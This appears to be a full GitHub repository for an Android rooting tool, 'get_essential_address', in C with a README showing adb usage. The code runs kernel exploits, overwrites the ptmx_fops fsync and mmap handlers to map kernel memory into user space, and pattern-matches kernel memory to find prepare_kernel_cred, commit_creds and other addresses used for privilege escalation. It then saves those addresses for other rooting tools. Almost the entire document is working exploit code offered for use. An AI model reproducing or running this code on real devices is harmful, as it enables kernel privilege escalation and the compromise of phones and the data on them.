├── .gitignore ├── .gitmodules ├── Android.mk ├── README.md ├── cred.c ├── cred.h ├── kallsyms.c ├── kallsyms.h ├── main.c ├── mm.c ├── mm.h ├── ptmx.c └── ptmx.h /.gitignore: -------------------------------------------------------------------------------- 1 | libs 2 | obj 3 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "device_database"] 2 | path = device_database 3 | url = git://github.com/android-rooting-tools/android_device_database.git 4 | [submodule "libkallsyms"] 5 | path = libkallsyms 6 | url = https://github.com/android-rooting-tools/libkallsyms.git 7 | [submodule "libexploit"] 8 | path = libexploit 9 | url = https://github.com/android-rooting-tools/libexploit.git 10 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | cred.c \ 7 | kallsyms.c \ 8 | main.c \ 9 | mm.c \ 10 | ptmx.c 11 | 12 | LOCAL_MODULE := get_essential_address 13 | LOCAL_MODULE_TAGS := optional 14 | LOCAL_STATIC_LIBRARIES := libdevice_database 15 | LOCAL_STATIC_LIBRARIES += libexploit 16 | LOCAL_STATIC_LIBRARIES += libkallsyms 17 | LOCAL_STATIC_LIBRARIES += libcutils libc 18 | LOCAL_LDFLAGS += -static 19 | 20 | TOP_SRCDIR := $(abspath $(LOCAL_PATH)) 21 | TARGET_C_INCLUDES += \ 22 | $(TOP_SRCDIR)/device_database 23 | 24 | include $(BUILD_EXECUTABLE) 25 | 26 | include $(call all-makefiles-under,$(LOCAL_PATH)) 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | android\_get\_essential\_address 2 | ================= 3 | 4 | To get root or unlock security, we need to know device address. Our new rooting and unlocking tools use device.db file by device\_database library (android\_device\_database repository) to store address in sqlite3 database format. This tool tries to search device address and store into device.db file automatically if possible. 5 | 6 | # How to use: 7 | 1. Install tool get\_essential\_address into directory you want to run them on. 8 | 2. Place device.db file to manage into tool direcytory. 9 | 3. Move into tools directory and run tool in adb shell. 10 | 11 | # For example: 12 | 13 | Get new address for Xperia UL (SOL22) build 10.3.1.D.0.220 with get\_essential\_address. 14 | 15 | > adb push device.db /data/local/tmp 16 | > adb push get_essential_address /data/local/tmp 17 | > adb shell 18 | $ cd /data/local/tmp 19 | $ chmod 755 get_essential_address 20 | $ ./get_essential_address 21 | 22 | 23 | Device detected: SOL22 (10.3.1.D.0.220) 24 | 25 | Try to find address in memory... 26 | Attempt msm_cameraconfig exploit... 27 | Detected kernel physical address at 0x80208000 form iomem 28 | 29 | Attempt fb_mem exploit... 30 | Detected kernel physical address at 0x80208000 form iomem 31 | Failed to open /dev/graphics/fb0 due to Permission denied 32 | You need to manage to get remap_pfn_range address. 33 | 34 | Try copying kernel memory... It will take a long time. 35 | Attempt get_user exploit... 36 | Search address in memroy... 37 | Using kallsyms_in_memroy... 38 | Essential address are: 39 | prepare_kernel_cred = 0xc00a2fe4 40 | commit_creds = 0xc00a2b08 41 | remap_pfn_range = 0xc011a818 42 | vmalloc_exec = 0xc01274ec 43 | ptmx_fops = 0xc0f48600 44 | -------------------------------------------------------------------------------- /cred.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "cred.h" 5 | #include "mm.h" 6 | #include "kallsyms.h" 7 | #include "device_database/device_database.h" 8 | 9 | prepare_kernel_cred_t prepare_kernel_cred; 10 | commit_creds_t commit_creds; 11 | 12 | bool 13 | setup_prepare_kernel_cred_address(void) 14 | { 15 | if (prepare_kernel_cred) { 16 | return true; 17 | } 18 | 19 | prepare_kernel_cred = (prepare_kernel_cred_t)device_get_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred)); 20 | 21 | if (!prepare_kernel_cred && kallsyms_exist()) { 22 | prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred"); 23 | } 24 | 25 | return !!prepare_kernel_cred; 26 | } 27 | 28 | bool 29 | setup_commit_creds_address(void) 30 | { 31 | if (commit_creds) { 32 | return true; 33 | } 34 | 35 | commit_creds = (commit_creds_t)device_get_symbol_address(DEVICE_SYMBOL(commit_creds)); 36 | 37 | if (!commit_creds && kallsyms_exist()) { 38 | commit_creds = kallsyms_get_symbol_address("commit_creds"); 39 | } 40 | 41 | return !!commit_creds; 42 | } 43 | 44 | static uint32_t prepare_kernel_cred_asm[] = { 0xe59f30bc, 0xe3a010d0, 0xe92d4070, 0xe1a04000 }; 45 | static size_t prepare_kernel_cred_asm_length = sizeof(prepare_kernel_cred_asm); 46 | 47 | static bool 48 | find_prepare_kernel_cred_address_in_memory(void *mem, size_t length) 49 | { 50 | void *address; 51 | 52 | if (prepare_kernel_cred) { 53 | return true; 54 | } 55 | 56 | address = (prepare_kernel_cred_t)memmem(mem, length, &prepare_kernel_cred_asm, prepare_kernel_cred_asm_length); 57 | if (!address) { 58 | return false; 59 | } 60 | 61 | prepare_kernel_cred = (prepare_kernel_cred_t)convert_to_kernel_address(address, mem); 62 | return true; 63 | } 64 | 65 | static uint32_t commit_creds_asm[] = { 0xe92d4070, 0xe1a0200d, 0xe3c23d7f, 0xe1a05000 }; 66 | static size_t commit_creds_asm_length = sizeof(prepare_kernel_cred_asm); 67 | 68 | static bool 69 | find_commit_creds_address_in_memory(void *mem, size_t length) 70 | { 71 | void *address; 72 | 73 | if (commit_creds) { 74 | return true; 75 | } 76 | 77 | address = (commit_creds_t)memmem(mem, length, &commit_creds_asm, commit_creds_asm_length); 78 | if (!address) { 79 | return false; 80 | } 81 | 82 | commit_creds = (commit_creds_t)convert_to_kernel_address(address, mem); 83 | return true; 84 | } 85 | 86 | bool 87 | setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length) 88 | { 89 | if (prepare_kernel_cred) { 90 | return true; 91 | } 92 | 93 | return find_prepare_kernel_cred_address_in_memory(mem, length); 94 | } 95 | 96 | bool 97 | setup_commit_creds_address_in_memory(void *mem, size_t length) 98 | { 99 | if (commit_creds) { 100 | return true; 101 | } 102 | 103 | return find_commit_creds_address_in_memory(mem, length); 104 | } 105 | -------------------------------------------------------------------------------- /cred.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef CREDS_H 19 | #define CREDS_H 20 | 21 | #include 22 | #include 23 | 24 | struct cred; 25 | struct task_struct; 26 | 27 | typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *); 28 | typedef int (*commit_creds_t)(struct cred *); 29 | 30 | extern bool setup_prepare_kernel_cred_address(); 31 | extern bool setup_commit_creds_address(); 32 | 33 | extern bool setup_prepare_kernel_cred_address_in_memory(void *mem, size_t length); 34 | extern bool setup_commit_creds_address_in_memory(void *mem, size_t length); 35 | 36 | extern prepare_kernel_cred_t prepare_kernel_cred; 37 | extern commit_creds_t commit_creds; 38 | 39 | #endif /* CREDS_H */ 40 | /* 41 | vi:ts=2:nowrap:ai:expandtab:sw=2 42 | */ 43 | -------------------------------------------------------------------------------- /kallsyms.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "kallsyms.h" 8 | 9 | bool 10 | kallsyms_exist(void) 11 | { 12 | struct stat st; 13 | 14 | if (stat("/proc/kallsyms", &st) < 0) { 15 | return false; 16 | } 17 | 18 | if (st.st_mode & S_IROTH) { 19 | return kallsyms_get_symbol_address("_stext") != 0; 20 | } 21 | 22 | return false; 23 | } 24 | 25 | void * 26 | kallsyms_get_symbol_address(const char *symbol_name) 27 | { 28 | FILE *fp; 29 | char function[BUFSIZ]; 30 | char symbol; 31 | void *address; 32 | int ret; 33 | 34 | fp = fopen("/proc/kallsyms", "r"); 35 | if (!fp) { 36 | printf("Failed to open /proc/kallsyms due to %s.", strerror(errno)); 37 | return 0; 38 | } 39 | 40 | while(!feof(fp)) { 41 | ret = fscanf(fp, "%p %c %s", &address, &symbol, function); 42 | if (ret != 3) { 43 | break; 44 | } 45 | 46 | if (!strcmp(function, symbol_name)) { 47 | fclose(fp); 48 | return address; 49 | } 50 | } 51 | fclose(fp); 52 | 53 | return NULL; 54 | } 55 | 56 | -------------------------------------------------------------------------------- /kallsyms.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef KALLSYMS_H 19 | #define KALLSYMS_H 20 | 21 | #include 22 | 23 | bool kallsyms_exist(void); 24 | void *kallsyms_get_symbol_address(const char *symbol_name); 25 | 26 | #endif /* KALLSYMS_H */ 27 | /* 28 | vi:ts=2:nowrap:ai:expandtab:sw=2 29 | */ 30 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #define _LARGEFILE64_SOURCE 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include "device_database.h" 15 | #include "cred.h" 16 | #include "mm.h" 17 | #include "ptmx.h" 18 | #include "libexploit/exploit.h" 19 | #include "libkallsyms/kallsyms_in_memory.h" 20 | 21 | static void *vmalloc_exec; 22 | 23 | void 24 | device_detected(void) 25 | { 26 | char device[PROP_VALUE_MAX]; 27 | char build_id[PROP_VALUE_MAX]; 28 | 29 | __system_property_get("ro.product.model", device); 30 | __system_property_get("ro.build.display.id", build_id); 31 | 32 | printf("\n\nDevice detected: %s (%s)\n\n", device, build_id); 33 | } 34 | 35 | static bool 36 | has_all_essential_addresses(void) 37 | { 38 | if (prepare_kernel_cred 39 | && commit_creds 40 | && remap_pfn_range 41 | && vmalloc_exec 42 | && ptmx_fops) { 43 | return true; 44 | } 45 | 46 | return false; 47 | } 48 | 49 | bool 50 | setup_vmalloc_exec_address(void) 51 | { 52 | if (vmalloc_exec) { 53 | return true; 54 | } 55 | 56 | vmalloc_exec = (void *)device_get_symbol_address(DEVICE_SYMBOL(vmalloc_exec)); 57 | 58 | if (!vmalloc_exec && kallsyms_exist()) { 59 | vmalloc_exec = (void *)kallsyms_get_symbol_address("vmalloc_exec"); 60 | } 61 | 62 | return !!vmalloc_exec; 63 | } 64 | 65 | static bool 66 | find_ptmx_fops_address(kallsyms *info, void *mem, size_t length) 67 | { 68 | find_ptmx_fops_hint_t hint; 69 | 70 | hint.ptmx_open_address = kallsyms_in_memory_lookup_name(info, "ptmx_open"); 71 | if (!hint.ptmx_open_address) { 72 | return false; 73 | } 74 | 75 | hint.tty_release_address = kallsyms_in_memory_lookup_name(info, "tty_release"); 76 | if (!hint.tty_release_address) { 77 | return false; 78 | } 79 | 80 | hint.tty_fasync_address = kallsyms_in_memory_lookup_name(info, "tty_fasync"); 81 | if (!hint.tty_fasync_address) { 82 | return false; 83 | } 84 | 85 | return setup_ptmx_fops_address_in_memory(mem, length, &hint); 86 | } 87 | 88 | static bool 89 | find_variables_in_memory(void *mem, size_t length) 90 | { 91 | kallsyms *info; 92 | 93 | printf("Search address in memory...\n"); 94 | 95 | info = kallsyms_in_memory_init(mem, length); 96 | if (info) { 97 | printf("Using kallsyms_in_memory...\n"); 98 | 99 | if (!prepare_kernel_cred) { 100 | prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); 101 | } 102 | 103 | if (!commit_creds) { 104 | commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); 105 | } 106 | 107 | if (!remap_pfn_range) { 108 | remap_pfn_range = (void *)kallsyms_in_memory_lookup_name(info, "remap_pfn_range"); 109 | } 110 | 111 | if (!vmalloc_exec) { 112 | vmalloc_exec = (void *)kallsyms_in_memory_lookup_name(info, "vmalloc_exec"); 113 | } 114 | 115 | if (!ptmx_fops) { 116 | ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); 117 | 118 | if (!ptmx_fops) { 119 | find_ptmx_fops_address(info, mem, length); 120 | } 121 | } 122 | 123 | kallsyms_in_memory_free(info); 124 | 125 | if (has_all_essential_addresses()) { 126 | return true; 127 | } 128 | } 129 | 130 | setup_prepare_kernel_cred_address_in_memory(mem, length); 131 | setup_commit_creds_address_in_memory(mem, length); 132 | 133 | return has_all_essential_addresses(); 134 | } 135 | 136 | static bool 137 | setup_variables(void) 138 | { 139 | setup_prepare_kernel_cred_address(); 140 | setup_commit_creds_address(); 141 | setup_remap_pfn_range_address(); 142 | setup_vmalloc_exec_address(); 143 | setup_ptmx_fops_address(); 144 | 145 | if (has_all_essential_addresses()) { 146 | return true; 147 | } 148 | 149 | printf("Try to find address in memory...\n"); 150 | if (!run_with_mmap(find_variables_in_memory)) { 151 | printf("\n"); 152 | run_with_memcpy(find_variables_in_memory); 153 | } 154 | 155 | if (has_all_essential_addresses()) { 156 | return true; 157 | } 158 | 159 | if (!prepare_kernel_cred) { 160 | printf("Failed to get prepare_kernel_cred address.\n"); 161 | } 162 | 163 | if (!commit_creds) { 164 | printf("Failed to get commit_creds address.\n"); 165 | } 166 | 167 | if (!remap_pfn_range) { 168 | printf("Failed to get remap_pfn_range address.\n"); 169 | } 170 | 171 | if (!vmalloc_exec) { 172 | printf("Failed to get vmalloc_exec address.\n"); 173 | } 174 | 175 | if (!ptmx_fops) { 176 | printf("Failed to get ptmx_fops address.\n"); 177 | } 178 | 179 | print_reason_device_not_supported(); 180 | 181 | return false; 182 | } 183 | 184 | static void 185 | register_address(void) 186 | { 187 | #ifdef HAS_SET_SYMBOL_ADDRESS 188 | printf("Essential address are:\n"); 189 | 190 | if (device_set_symbol_address(DEVICE_SYMBOL(prepare_kernel_cred), (unsigned long int)prepare_kernel_cred)) { 191 | printf(" prepare_kernel_cred = %p\n", prepare_kernel_cred); 192 | } 193 | 194 | if (device_set_symbol_address(DEVICE_SYMBOL(commit_creds), (unsigned long int)commit_creds)) { 195 | printf(" commit_creds = %p\n", commit_creds); 196 | } 197 | 198 | if (device_set_symbol_address(DEVICE_SYMBOL(remap_pfn_range), (unsigned long int)remap_pfn_range)) { 199 | printf(" remap_pfn_range = %p\n", remap_pfn_range); 200 | } 201 | 202 | if (device_set_symbol_address(DEVICE_SYMBOL(vmalloc_exec), (unsigned long int)vmalloc_exec)) { 203 | printf(" vmalloc_exec = %p\n", vmalloc_exec); 204 | } 205 | 206 | if (device_set_symbol_address(DEVICE_SYMBOL(ptmx_fops), (unsigned long int)ptmx_fops)) { 207 | printf(" ptmx_fops = %p\n", ptmx_fops); 208 | } 209 | #endif /* HAS_SET_SYMBOL_ADDRESS */ 210 | } 211 | 212 | int 213 | main(int argc, char **argv) 214 | { 215 | device_detected(); 216 | 217 | printf("Try without fb_mem_exploit fist...\n\n"); 218 | set_fb_mem_exploit_enable(false); 219 | 220 | if (!setup_variables()) { 221 | printf("\n\n"); 222 | 223 | printf("Try again with fb_mem_exploit...\n\n"); 224 | set_fb_mem_exploit_enable(true); 225 | if (!setup_variables()) { 226 | printf("Failed to setup variables.\n"); 227 | exit(EXIT_FAILURE); 228 | } 229 | } 230 | 231 | register_address(); 232 | 233 | exit(EXIT_SUCCESS); 234 | } 235 | /* 236 | vi:ts=2:nowrap:ai:expandtab:sw=2 237 | */ 238 | -------------------------------------------------------------------------------- /mm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "kallsyms.h" 7 | #include "mm.h" 8 | #include "ptmx.h" 9 | #include "libexploit/exploit.h" 10 | #include "device_database/device_database.h" 11 | 12 | #define PAGE_OFFSET 0xc0000000 13 | #define KERNEL_SIZE 0x02000000 14 | 15 | 16 | static unsigned long int kernel_phys_offset; 17 | 18 | int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, 19 | unsigned long pfn, unsigned long size, pgprot_t); 20 | 21 | bool 22 | setup_remap_pfn_range_address(void) 23 | { 24 | if (remap_pfn_range) { 25 | return true; 26 | } 27 | 28 | remap_pfn_range = (void *)device_get_symbol_address(DEVICE_SYMBOL(remap_pfn_range)); 29 | 30 | if (!remap_pfn_range && kallsyms_exist()) { 31 | remap_pfn_range = kallsyms_get_symbol_address("remap_pfn_range"); 32 | } 33 | 34 | return !!remap_pfn_range; 35 | } 36 | 37 | void 38 | set_kernel_phys_offset(unsigned long int offset) 39 | { 40 | kernel_phys_offset = offset; 41 | } 42 | 43 | #define PAGE_SHIFT 12 44 | 45 | void * 46 | convert_to_kernel_address(void *address, void *mmap_base_address) 47 | { 48 | return address - mmap_base_address + (void*)PAGE_OFFSET; 49 | } 50 | 51 | void * 52 | convert_to_mmaped_address(void *address, void *mmap_base_address) 53 | { 54 | return mmap_base_address + (address - (void*)PAGE_OFFSET); 55 | } 56 | 57 | static bool 58 | detect_kernel_phys_parameters(void) 59 | { 60 | FILE *fp; 61 | void *system_ram_address; 62 | char name[BUFSIZ]; 63 | void *start_address, *end_address; 64 | int ret; 65 | 66 | system_ram_address = NULL; 67 | 68 | fp = fopen("/proc/iomem", "r"); 69 | if (!fp) { 70 | printf("Failed to open /proc/iomem due to %s.\n", strerror(errno)); 71 | return false; 72 | } 73 | 74 | while ((ret = fscanf(fp, "%p-%p : %[^\n]", &start_address, &end_address, name)) != EOF) { 75 | if (!strcmp(name, "System RAM")) { 76 | system_ram_address = start_address; 77 | continue; 78 | } 79 | if (!strncmp(name, "Kernel", 6)) { 80 | break; 81 | } 82 | } 83 | fclose(fp); 84 | 85 | set_kernel_phys_offset((int)system_ram_address); 86 | 87 | return true; 88 | } 89 | 90 | static void *old_mmap_handler; 91 | 92 | int 93 | ptmx_mmap(struct file *filep, struct vm_area_struct *vma) 94 | { 95 | void **p; 96 | int ret; 97 | 98 | p = (void **)ptmx_fops_mmap_address; 99 | 100 | ret = remap_pfn_range(vma, vma->vm_start, 101 | kernel_phys_offset >> PAGE_SHIFT, 102 | vma->vm_end - vma->vm_start, vma->vm_page_prot); 103 | 104 | if (p) { 105 | *p = old_mmap_handler; 106 | } 107 | 108 | return ret; 109 | } 110 | 111 | static void 112 | setup_mmap_by_fsync(void) 113 | { 114 | void **p; 115 | 116 | p = (void **)ptmx_fops_mmap_address; 117 | if (p) { 118 | old_mmap_handler = *p; 119 | *p = (void *)&ptmx_mmap; 120 | } 121 | } 122 | 123 | static bool 124 | run_callback_with_fsync_and_mmap(void *user_data) 125 | { 126 | int fd; 127 | void *address; 128 | void *start_address = (void *)0x20000000; 129 | memory_callback_t callback = (memory_callback_t)user_data; 130 | bool ret; 131 | 132 | fd = open(PTMX_DEVICE, O_RDWR); 133 | fsync(fd); 134 | 135 | address = mmap(start_address, KERNEL_SIZE, 136 | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, 137 | fd, 0); 138 | if (address == MAP_FAILED) { 139 | printf("Failed to mmap /dev/ptmx due to %s.\n", strerror(errno)); 140 | close(fd); 141 | return false; 142 | } 143 | 144 | ret = callback(address, KERNEL_SIZE); 145 | 146 | munmap(address, KERNEL_SIZE); 147 | 148 | close(fd); 149 | 150 | return ret; 151 | } 152 | 153 | typedef struct _callback_memory_exploit_info_t { 154 | memory_callback_t func; 155 | bool result; 156 | } callback_memory_exploit_info_t; 157 | 158 | static bool 159 | run_callback_memory_exploit(void *address, size_t length, void *param) 160 | { 161 | callback_memory_exploit_info_t *info = param; 162 | 163 | info->result = info->func(address, length); 164 | 165 | return true; 166 | } 167 | 168 | static bool 169 | run_exploit_mmap(memory_callback_t callback, bool *result) 170 | { 171 | callback_memory_exploit_info_t info; 172 | 173 | info.func = callback; 174 | 175 | if (attempt_mmap_exploit(&run_callback_memory_exploit, &info)) { 176 | *result = info.result; 177 | return true; 178 | } 179 | 180 | return false; 181 | } 182 | 183 | bool 184 | run_with_mmap(memory_callback_t callback) 185 | { 186 | unsigned long int kernel_physical_offset; 187 | bool result; 188 | 189 | if (run_exploit_mmap(callback, &result)) { 190 | return result; 191 | } 192 | 193 | setup_remap_pfn_range_address(); 194 | 195 | if (!remap_pfn_range) { 196 | printf("You need to manage to get remap_pfn_range address.\n"); 197 | return false; 198 | } 199 | 200 | setup_ptmx_fops_fsync_address(); 201 | if (!ptmx_fops_fsync_address) { 202 | printf("You need to manage to get ptmx_fops address.\n"); 203 | return false; 204 | } 205 | 206 | setup_ptmx_fops_mmap_address(); 207 | if (!ptmx_fops_mmap_address) { 208 | printf("You need to manage to get ptmx_fops address.\n"); 209 | return false; 210 | } 211 | 212 | kernel_physical_offset = device_get_symbol_address(DEVICE_SYMBOL(kernel_physical_offset)); 213 | if (kernel_physical_offset) { 214 | set_kernel_phys_offset(kernel_physical_offset - 0x00008000); 215 | } 216 | else if (!detect_kernel_phys_parameters()) { 217 | printf("You need to manage to get kernel_physical_offset address.\n"); 218 | return false; 219 | } 220 | 221 | return attempt_exploit(ptmx_fops_fsync_address, 222 | (unsigned long int)&setup_mmap_by_fsync, 0, 223 | run_callback_with_fsync_and_mmap, callback); 224 | } 225 | 226 | static bool 227 | run_exploit_memcpy(memory_callback_t callback, bool *result) 228 | { 229 | callback_memory_exploit_info_t info; 230 | 231 | info.func = callback; 232 | 233 | if (attempt_memcpy_exploit(&run_callback_memory_exploit, &info)) { 234 | *result = info.result; 235 | return true; 236 | } 237 | 238 | return false; 239 | } 240 | 241 | bool 242 | run_with_memcpy(memory_callback_t callback) 243 | { 244 | bool result; 245 | 246 | if (run_exploit_memcpy(callback, &result)) { 247 | return result; 248 | } 249 | 250 | return false; 251 | } 252 | -------------------------------------------------------------------------------- /mm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef MM_H 19 | #define MM_H 20 | 21 | #include 22 | #include 23 | #include 24 | 25 | struct file; 26 | 27 | typedef struct { 28 | unsigned long pgprot; 29 | } pgprot_t; 30 | 31 | struct vm_area_struct { 32 | void *vm_mm; 33 | unsigned long vm_start, vm_end; 34 | void *vm_next, *vm_prev; 35 | pgprot_t vm_page_prot; 36 | /* ... */ 37 | }; 38 | 39 | typedef bool (*memory_callback_t)(void *mem, size_t length); 40 | 41 | extern bool setup_remap_pfn_range_address(void); 42 | extern bool run_with_mmap(memory_callback_t callback); 43 | extern bool run_with_memcpy(memory_callback_t callback); 44 | 45 | extern void set_kernel_phys_offset(unsigned long int offset); 46 | extern void *convert_to_kernel_address(void *address, void *mmap_base_address); 47 | extern void *convert_to_mmaped_address(void *address, void *mmap_base_address); 48 | 49 | extern int (*remap_pfn_range)(struct vm_area_struct *, unsigned long addr, 50 | unsigned long pfn, unsigned long size, pgprot_t); 51 | 52 | #endif /* MM_H */ 53 | /* 54 | vi:ts=2:nowrap:ai:expandtab:sw=2 55 | */ 56 | -------------------------------------------------------------------------------- /ptmx.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "ptmx.h" 4 | #include "kallsyms.h" 5 | #include "device_database/device_database.h" 6 | 7 | void *ptmx_fops; 8 | unsigned long int ptmx_fops_mmap_address; 9 | unsigned long int ptmx_fops_fsync_address; 10 | 11 | bool 12 | setup_ptmx_fops_address(void) 13 | { 14 | if (ptmx_fops) { 15 | return true; 16 | } 17 | 18 | ptmx_fops = (void *)device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops)); 19 | 20 | if (!ptmx_fops && kallsyms_exist()) { 21 | ptmx_fops = kallsyms_get_symbol_address("ptmx_fops"); 22 | } 23 | 24 | return !!ptmx_fops; 25 | } 26 | 27 | bool 28 | setup_ptmx_fops_mmap_address(void) 29 | { 30 | if (!ptmx_fops) { 31 | setup_ptmx_fops_address(); 32 | if (!ptmx_fops) { 33 | return false; 34 | } 35 | } 36 | 37 | ptmx_fops_mmap_address = (unsigned long int)ptmx_fops + 0x28; 38 | return true; 39 | } 40 | 41 | bool 42 | setup_ptmx_fops_fsync_address(void) 43 | { 44 | if (!ptmx_fops) { 45 | setup_ptmx_fops_address(); 46 | if (!ptmx_fops) { 47 | return false; 48 | } 49 | } 50 | 51 | ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38; 52 | return true; 53 | } 54 | 55 | bool 56 | setup_ptmx_fops_address_in_memory(void *mem, size_t length, find_ptmx_fops_hint_t *hint) 57 | { 58 | int i; 59 | 60 | for (i = 0x24; i < length - 0x40; i += 4) { 61 | unsigned long int *address = mem + i; 62 | 63 | if (address[2] != hint->ptmx_open_address) { 64 | continue; 65 | } 66 | 67 | if (address[4] != hint->tty_release_address) { 68 | continue; 69 | } 70 | 71 | if (address[7] != hint->tty_fasync_address) { 72 | continue; 73 | } 74 | 75 | ptmx_fops = (void *)convert_to_kernel_address(address, mem) - 0x24; 76 | return true; 77 | } 78 | 79 | return false; 80 | } 81 | -------------------------------------------------------------------------------- /ptmx.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2013 Hiroyuki Ikezoe 3 | * 4 | * This program is free software: you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation, either version 3 of the License, or 7 | * (at your option) any later version. 8 | * 9 | * This program is distributed in the hope that it will be useful, 10 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | * GNU General Public License for more details. 13 | * 14 | * You should have received a copy of the GNU General Public License 15 | * along with this program. If not, see . 16 | * 17 | */ 18 | #ifndef PTMX_H 19 | #define PTMX_H 20 | 21 | #include 22 | #include 23 | 24 | #define PTMX_DEVICE "/dev/ptmx" 25 | 26 | typedef struct _find_ptmx_fops_hint_t { 27 | unsigned long int ptmx_open_address; 28 | unsigned long int tty_release_address; 29 | unsigned long int tty_fasync_address; 30 | } find_ptmx_fops_hint_t; 31 | 32 | extern bool setup_ptmx_fops_address(void); 33 | extern bool setup_ptmx_fops_mmap_address(void); 34 | extern bool setup_ptmx_fops_fsync_address(void); 35 | 36 | extern bool setup_ptmx_fops_address_in_memory(void *mem, size_t length, 37 | find_ptmx_fops_hint_t *hint); 38 | 39 | extern void *ptmx_fops; 40 | extern unsigned long int ptmx_fops_mmap_address; 41 | extern unsigned long int ptmx_fops_fsync_address; 42 | 43 | #endif /* PTMX_H */ 44 | /* 45 | vi:ts=2:nowrap:ai:expandtab:sw=2 46 | */ 47 | --------------------------------------------------------------------------------